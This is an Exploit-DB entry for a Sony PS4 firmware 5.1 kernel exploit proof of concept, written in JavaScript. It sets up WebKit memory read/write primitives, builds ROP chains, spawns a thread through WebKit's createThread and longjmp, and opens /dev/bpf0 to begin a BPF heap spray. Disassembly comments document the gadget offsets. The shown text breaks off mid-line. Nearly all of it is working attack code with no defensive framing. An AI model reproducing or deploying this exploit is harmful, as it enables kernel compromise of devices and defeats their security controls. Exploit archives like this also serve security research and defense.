Exploit-DB #44819
Description: Sony Playstation 4 (PS4) 5.1 - Kernel (PoC)
Type: local
Platform: hardware
Date: 2018-05-28
Author: qwertyoruiop

Exploit:
    log("--- trying kernel exploit --");
    function malloc(sz)
    {
        var backing = new Uint8Array(0x10000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x10000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
    
    var spawnthread = function(name, chain) {
        
        /*
         
         
         seg000:[PII_REDACTED]7FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:[PII_REDACTED]7FA7D0 55                                      push    rbp
         seg000:[PII_REDACTED]7FA7D1 48 89 E5                                mov     rbp, rsp
         seg000:[PII_REDACTED]7FA7D4 41 56                                   push    r14
         seg000:[PII_REDACTED]7FA7D6 53                                      push    rbx
         seg000:[PII_REDACTED]7FA7D7 48 89 F3                                mov     rbx, rsi
         seg000:[PII_REDACTED]7FA7DA 49 89 FE                                mov     r14, rdi
         seg000:[PII_REDACTED]7FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS"
         
         
         -> xref:
         
         
         seg000:[PII_REDACTED]7F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
         seg000:[PII_REDACTED]7F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
         seg000:[PII_REDACTED]7F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
         seg000:[PII_REDACTED]7F8395 31 F6                                   xor     esi, esi
         seg000:[PII_REDACTED]7F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
         seg000:[PII_REDACTED]7F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
         seg000:[PII_REDACTED]7F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
         seg000:[PII_REDACTED]7F83AE E8 8D 3C D3 00                          call    sub_152C040
         
         -> code:
         
         m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
         
         
         decodingWarning -> contains Missing PLTE before tRNS
         
         decodingFailed -> contains longjmp
         
         seg000:[PII_REDACTED]7FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
         seg000:[PII_REDACTED]7FA710                                                                 ; sub_7F9DC0+2Eo
         seg000:[PII_REDACTED]7FA710 55                                      push    rbp
         seg000:[PII_REDACTED]7FA711 48 89 E5                                mov     rbp, rsp
         seg000:[PII_REDACTED]7FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
         seg000:[PII_REDACTED]7FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
         seg000:[PII_REDACTED]7FA720 E8 AB E6 D2 00                          call    sub_1528DD0
         seg000:[PII_REDACTED]7FA725 BE 01 00 00 00                          mov     esi, 1
         seg000:[PII_REDACTED]7FA72A 48 89 C7                                mov     rdi, rax
         seg000:[PII_REDACTED]7FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
         seg000:[PII_REDACTED]7FA732 0F 0B                                   ud2
         seg000:[PII_REDACTED]7FA732                         sub_7FA710      endp
         
         
         */
        var longjmp = window.webKitBase.add32(0x14e8);
        
        // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
        /*
         seg000:[PII_REDACTED]1DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController"
         seg000:[PII_REDACTED]1DD186 31 F6                                   xor     esi, esi
         seg000:[PII_REDACTED]1DD188 E8 B3 1B F9 00                          call    sub_116ED40
         */
        
        var createThread = window.webKitBase.add32(0x779190);
        
        var contextp = malloc32(0x2000);
        var contextz = contextp.backing;
        contextz[0] = 1337;
        
        var thread2 = new RopChain();
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        chain(thread2);
        
        p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
        p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
        
        var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
        
        window.nogc.push(contextp);
        window.nogc.push(thread2);
        
        return retv;
    }

    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }
    
    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_spray = malloc32(0x4000);
    var bpf_valid_u32 = bpf_v